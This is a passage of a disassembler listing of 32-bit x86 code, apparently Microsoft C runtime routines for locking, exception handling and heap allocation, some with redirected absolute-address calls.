sub_4256F0	proc near		; CODE XREF: sub_424B10+3p
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_425700
		add	esp, 4
		pop	ebp
		retn
sub_4256F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425700	proc near		; CODE XREF: .XComp0:0042559Cp
					; sub_4256F0+5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		push	2
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_425730
; ---------------------------------------------------------------------------


loc_425727:				; CODE XREF: sub_425700:loc_42581Ej
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_425730:				; CODE XREF: sub_425700+25j
		mov	ecx, [ebp+var_C]
		cmp	ecx, dword_4EA900
		jge	loc_425823
		mov	edx, [ebp+var_C]
		mov	eax, dword_4E98F4
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_42581E
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	loc_42581E
		mov	edx, [ebp+var_C]
		mov	eax, dword_4E98F4
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_424B70
		add	esp, 8
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4E98F4
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_425805
		cmp	[ebp+arg_0], 1
		jnz	short loc_4257C9
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_4255E0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4257C7
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4257C7:				; CODE XREF: sub_425700+BCj
		jmp	short loc_425805
; ---------------------------------------------------------------------------


loc_4257C9:				; CODE XREF: sub_425700+A2j
		cmp	[ebp+arg_0], 0
		jnz	short loc_425805
		mov	edx, [ebp+var_C]
		mov	eax, dword_4E98F4
		mov	ecx, [eax+edx*4]
		mov	edx, [ecx+0Ch]
		and	edx, 2
		test	edx, edx
		jz	short loc_425805
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4E98F4
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_4255E0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425805
		mov	[ebp+var_8], 0FFFFFFFFh


loc_425805:				; CODE XREF: sub_425700+9Cj
					; sub_425700:loc_4257C7j ...
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4E98F4
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_424BE0
		add	esp, 8


loc_42581E:				; CODE XREF: sub_425700+4Bj
					; sub_425700+68j
		jmp	loc_425727
; ---------------------------------------------------------------------------


loc_425823:				; CODE XREF: sub_425700+39j
		push	2
		call	sub_425A30
		add	esp, 4
		cmp	[ebp+arg_0], 1
		jnz	short loc_425838
		mov	eax, [ebp+var_4]
		jmp	short loc_42583B
; ---------------------------------------------------------------------------


loc_425838:				; CODE XREF: sub_425700+131j
		mov	eax, [ebp+var_8]


loc_42583B:				; CODE XREF: sub_425700+136j
		mov	esp, ebp
		pop	ebp
		retn
sub_425700	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_425990
		add	esp, 4
		mov	eax, dword_4E925C
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4E925C, ecx
		push	9
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4E925C
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425880	proc near		; CODE XREF: sub_41EE20+7Dp
					; sub_425B70+41p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E925C
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4258A0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4
		test	eax, eax
		jnz	short loc_4258A4


loc_4258A0:				; CODE XREF: sub_425880+10j
		xor	eax, eax
		jmp	short loc_4258A9
; ---------------------------------------------------------------------------


loc_4258A4:				; CODE XREF: sub_425880+1Ej
		mov	eax, 1


loc_4258A9:				; CODE XREF: sub_425880+22j
		mov	esp, ebp
		pop	ebp
		retn
sub_425880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4258B0	proc near		; CODE XREF: sub_42B550+4p
		push	ebp
		mov	ebp, esp
		mov	eax, off_450234
		push	eax
		nop
		call	near ptr 2970537h
		mov	ecx, off_450224
		push	ecx
		call	near ptr 2970537h
		nop
		mov	edx, off_450214
		push	edx
		call	near ptr 2970537h
		nop
		mov	eax, off_4501F4
		push	eax
		nop
		call	near ptr 2970537h
		pop	ebp
		retn
sub_4258B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4258F0	proc near		; CODE XREF: .XComp0:0042B5E3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_425906
; ---------------------------------------------------------------------------


loc_4258FD:				; CODE XREF: sub_4258F0:loc_425957j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_425906:				; CODE XREF: sub_4258F0+Bj
		cmp	[ebp+var_4], 30h
		jge	short loc_425959
		mov	ecx, [ebp+var_4]
		cmp	dword_4501F0[ecx*4], 0
		jz	short loc_425957
		cmp	[ebp+var_4], 11h
		jz	short loc_425957
		cmp	[ebp+var_4], 0Dh
		jz	short loc_425957
		cmp	[ebp+var_4], 9
		jz	short loc_425957
		cmp	[ebp+var_4], 1
		jz	short loc_425957
		mov	edx, [ebp+var_4]
		mov	eax, dword_4501F0[edx*4]
		push	eax
		call	near ptr 2840000h
		nop
		push	2
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4501F0[ecx*4]
		push	edx
		call	sub_41F970
		add	esp, 8


loc_425957:				; CODE XREF: sub_4258F0+27j
					; sub_4258F0+2Dj ...
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_425959:				; CODE XREF: sub_4258F0+1Aj
		mov	eax, off_450214
		push	eax
		call	near ptr 2840000h
		nop
		mov	ecx, off_450224
		push	ecx
		nop
		call	near ptr 2840000h
		mov	edx, off_450234
		push	edx
		nop
		call	near ptr 2840000h
		mov	eax, off_4501F4
		push	eax
		nop
		call	near ptr 2840000h
		mov	esp, ebp
		pop	ebp
		retn
sub_4258F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425990	proc near		; CODE XREF: sub_41EE20+25p
					; sub_41F2C0+25p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword_4501F0[eax*4], 0
		jnz	short loc_425A12
		push	0E1h
		push	offset aMlock_c	; "mlock.c"
		push	2
		push	18h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4259CA
		push	11h
		call	sub_424980
		add	esp, 4


loc_4259CA:				; CODE XREF: sub_425990+2Ej
		push	11h
		call	sub_425990
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		cmp	dword_4501F0[ecx*4], 0
		jnz	short loc_4259FA
		mov	edx, [ebp+var_4]
		push	edx
		call	near ptr 2970537h
		nop
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_4501F0[eax*4], ecx
		jmp	short loc_425A08
; ---------------------------------------------------------------------------


loc_4259FA:				; CODE XREF: sub_425990+4Fj
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41F970
		add	esp, 8


loc_425A08:				; CODE XREF: sub_425990+68j
		push	11h
		call	sub_425A30
		add	esp, 4


loc_425A12:				; CODE XREF: sub_425990+Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4501F0[eax*4]
		push	ecx
		call	near ptr 7C901005h
		nop
		mov	esp, ebp
		pop	ebp
		retn
sub_425990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A30	proc near		; CODE XREF: sub_41EE7D+2p
					; sub_41F323+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4501F0[eax*4]
		push	ecx
		call	near ptr 7C9010EDh
		nop
		pop	ebp
		retn
sub_425A30	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	0
		nop
		call	near ptr 29706D2h
		push	0FFh
		nop
		call	near ptr 7C81CDDAh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A74	proc near		; DATA XREF: sub_41EE20+Ao
					; sub_41F2C0+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_425B14
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_425AA7:				; CODE XREF: sub_425A74+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425B0D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_425AFB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_425AFB
		js	short loc_425B06
		mov	edi, [ebx+8]
		push	ebx
		call	sub_423690
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4236D2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_423766
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_425AFB:				; CODE XREF: sub_425A74+40j
					; sub_425A74+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_425AA7
; ---------------------------------------------------------------------------


loc_425B06:				; CODE XREF: sub_425A74+54j
		mov	eax, 0
		jmp	short loc_425B29
; ---------------------------------------------------------------------------


loc_425B0D:				; CODE XREF: sub_425A74+36j
		mov	eax, 1
		jmp	short loc_425B29
; ---------------------------------------------------------------------------


loc_425B14:				; CODE XREF: sub_425A74+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4236D2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_425B29:				; CODE XREF: sub_425A74+97j
					; sub_425A74+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_425A74	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4236D2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B50	proc near		; CODE XREF: sub_425F40+33p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E9258
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_425B70
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_425B50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B70	proc near		; CODE XREF: sub_425B50+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFE0h
		jbe	short loc_425B7E
		xor	eax, eax
		jmp	short loc_425BC3
; ---------------------------------------------------------------------------


loc_425B7E:				; CODE XREF: sub_425B70+8j
					; sub_425B70:loc_425BC1j
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_425B95
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_425BD0
		add	esp, 4
		mov	[ebp+var_4], eax
		jmp	short loc_425B9C
; ---------------------------------------------------------------------------


loc_425B95:				; CODE XREF: sub_425B70+12j
		mov	[ebp+var_4], 0


loc_425B9C:				; CODE XREF: sub_425B70+23j
		cmp	[ebp+var_4], 0
		jnz	short loc_425BA8
		cmp	[ebp+arg_4], 0
		jnz	short loc_425BAD


loc_425BA8:				; CODE XREF: sub_425B70+30j
		mov	eax, [ebp+var_4]
		jmp	short loc_425BC3
; ---------------------------------------------------------------------------


loc_425BAD:				; CODE XREF: sub_425B70+36j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_425880
		add	esp, 4
		test	eax, eax
		jnz	short loc_425BC1
		xor	eax, eax
		jmp	short loc_425BC3
; ---------------------------------------------------------------------------


loc_425BC1:				; CODE XREF: sub_425B70+4Bj
		jmp	short loc_425B7E
; ---------------------------------------------------------------------------


loc_425BC3:				; CODE XREF: sub_425B70+Cj
					; sub_425B70+3Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_425B70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BD0	proc near		; CODE XREF: sub_41EEE0+19Dp
					; sub_425B70+18p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00425C40 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 00425CC2 SIZE 0000005B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EFC8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		cmp	dword_4E98CC, 3
		jnz	short loc_425C53
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E98EC
		ja	short loc_425C4E
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_426EA0
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_425C35
		jmp	short loc_425C40
sub_425BD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_425C35	proc near		; CODE XREF: sub_425BD0+5Ep
					; DATA XREF: .XComp0:0043EFD0o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_425C35	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD0


loc_425C40:				; CODE XREF: sub_425BD0+63j
		cmp	[ebp+var_1C], 0
		jz	short loc_425C4E
		mov	eax, [ebp+var_1C]
		jmp	loc_425D0C
; ---------------------------------------------------------------------------


loc_425C4E:				; CODE XREF: sub_425BD0+35j
					; sub_425BD0+74j
		jmp	loc_425CE1
; ---------------------------------------------------------------------------


loc_425C53:				; CODE XREF: sub_425BD0+2Aj
		cmp	dword_4E98CC, 2
		jnz	loc_425CE1
		cmp	[ebp+arg_0], 0
		jz	short loc_425C74
		mov	edx, [ebp+arg_0]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_0], edx
		jmp	short loc_425C7B
; ---------------------------------------------------------------------------


loc_425C74:				; CODE XREF: sub_425BD0+94j
		mov	[ebp+arg_0], 10h


loc_425C7B:				; CODE XREF: sub_425BD0+A2j
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4522DC
		ja	short loc_425CCD
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		mov	ecx, [ebp+arg_0]
		shr	ecx, 4
		push	ecx
		call	sub_428920
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_425CB7
		jmp	short loc_425CC2
; END OF FUNCTION CHUNK	FOR sub_425BD0

; =============== S U B	R O U T	I N E =======================================



sub_425CB7	proc near		; CODE XREF: sub_425BD0+E0p
					; DATA XREF: .XComp0:0043EFDCo
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_425CB7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD0


loc_425CC2:				; CODE XREF: sub_425BD0+E5j
		cmp	[ebp+var_1C], 0
		jz	short loc_425CCD
		mov	eax, [ebp+var_1C]
		jmp	short loc_425D0C
; ---------------------------------------------------------------------------


loc_425CCD:				; CODE XREF: sub_425BD0+B4j
					; sub_425BD0+F6j
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 2980000h
		jmp	short loc_425D0C
; ---------------------------------------------------------------------------


loc_425CE1:				; CODE XREF: sub_425BD0:loc_425C4Ej
					; sub_425BD0+8Aj
		cmp	[ebp+arg_0], 0
		jnz	short loc_425CEE
		mov	[ebp+arg_0], 1


loc_425CEE:				; CODE XREF: sub_425BD0+115j
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		call	near ptr 2980000h
		nop


loc_425D0C:				; CODE XREF: sub_425BD0+79j
					; sub_425BD0+FBj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425BD0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D20	proc near		; CODE XREF: sub_41EEE0+79p
					; sub_41F350+C1p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		pop	ebp
		retn
sub_425D20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D30	proc near		; CODE XREF: sub_41F350+2D4p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00425DDC SIZE 000000EE BYTES
; FUNCTION CHUNK AT 00425ED5 SIZE 00000068 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EFE0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_425D60
		xor	eax, eax
		jmp	loc_425F2C
; ---------------------------------------------------------------------------


loc_425D60:				; CODE XREF: sub_425D30+27j
		cmp	dword_4E98CC, 3
		jnz	loc_425E18
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426800
		add	esp, 4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_425DC3
		mov	[ebp+var_1C], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4E98EC
		ja	short loc_425DC3
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_4276E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425DC3
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_1C], edx


loc_425DC3:				; CODE XREF: sub_425D30+61j
					; sub_425D30+73j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_425DD1
		jmp	short loc_425DDC
sub_425D30	endp


; =============== S U B	R O U T	I N E =======================================



sub_425DD1	proc near		; CODE XREF: sub_425D30+9Ap
					; DATA XREF: .XComp0:0043EFE8o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_425DD1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D30


loc_425DDC:				; CODE XREF: sub_425D30+9Fj
		cmp	[ebp+var_20], 0
		jnz	short loc_425E13
		cmp	[ebp+arg_4], 0
		jnz	short loc_425DEF
		mov	[ebp+arg_4], 1


loc_425DEF:				; CODE XREF: sub_425D30+B6j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4E98C8
		push	eax
		call	near ptr 2990000h
		nop
		mov	[ebp+var_1C], eax


loc_425E13:				; CODE XREF: sub_425D30+B0j
		jmp	loc_425F29
; ---------------------------------------------------------------------------


loc_425E18:				; CODE XREF: sub_425D30+37j
		cmp	dword_4E98CC, 2
		jnz	loc_425EF6
		cmp	[ebp+arg_4], 0
		jnz	short loc_425E32
		mov	[ebp+arg_4], 1


loc_425E32:				; CODE XREF: sub_425D30+F9j
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_24]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428820
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_425EBC
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+arg_4]
		cmp	edx, dword_4522DC
		ja	short loc_425EA3
		mov	eax, [ebp+arg_4]
		shr	eax, 4
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_428F90
		add	esp, 10h
		test	eax, eax
		jz	short loc_425EA3
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_1C], ecx


loc_425EA3:				; CODE XREF: sub_425D30+14Cj
					; sub_425D30+16Bj
		push	0FFFFFFFFh
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_30], edx
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4236D2
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_425F2C
; ---------------------------------------------------------------------------


loc_425EBC:				; CODE XREF: sub_425D30+13Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_425ECA
		jmp	short loc_425ED5
; END OF FUNCTION CHUNK	FOR sub_425D30

; =============== S U B	R O U T	I N E =======================================



sub_425ECA	proc near		; CODE XREF: sub_425D30+193p
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_425ECA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D30


loc_425ED5:				; CODE XREF: sub_425D30+198j
		cmp	[ebp+var_28], 0
		jnz	short loc_425EF4
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 2990000h
		mov	[ebp+var_1C], eax


loc_425EF4:				; CODE XREF: sub_425D30+1A9j
		jmp	short loc_425F29
; ---------------------------------------------------------------------------


loc_425EF6:				; CODE XREF: sub_425D30+EFj
		cmp	[ebp+arg_4], 0
		jnz	short loc_425F03
		mov	[ebp+arg_4], 1


loc_425F03:				; CODE XREF: sub_425D30+1CAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	10h
		mov	ecx, dword_4E98C8
		push	ecx
		nop
		call	near ptr 2990000h
		mov	[ebp+var_1C], eax


loc_425F29:				; CODE XREF: sub_425D30:loc_425E13j
					; sub_425D30:loc_425EF4j
		mov	eax, [ebp+var_1C]


loc_425F2C:				; CODE XREF: sub_425D30+2Bj
					; sub_425D30+18Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425D30
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F40	proc near		; CODE XREF: sub_41F350+2AFp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00426113 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 0042632A SIZE 000000A9 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EFF8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_425F80
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_425B50
		add	esp, 4
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_425F80:				; CODE XREF: sub_425F40+2Dj
		cmp	[ebp+arg_4], 0
		jnz	short loc_425F99
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4263E0
		add	esp, 4
		xor	eax, eax
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_425F99:				; CODE XREF: sub_425F40+44j
		cmp	dword_4E98CC, 3
		jnz	loc_42617F


loc_425FA6:				; CODE XREF: sub_425F40:loc_42617Aj
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_42614C
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426800
		add	esp, 4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_4260FA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4E98EC
		ja	loc_42607A
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_4276E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426010
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_24], edx
		jmp	short loc_42607A
; ---------------------------------------------------------------------------


loc_426010:				; CODE XREF: sub_425F40+C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_426EA0
		add	esp, 4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_42607A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_426041
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_3C], ecx
		jmp	short loc_426047
; ---------------------------------------------------------------------------


loc_426041:				; CODE XREF: sub_425F40+F7j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_3C], edx


loc_426047:				; CODE XREF: sub_425F40+FFj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
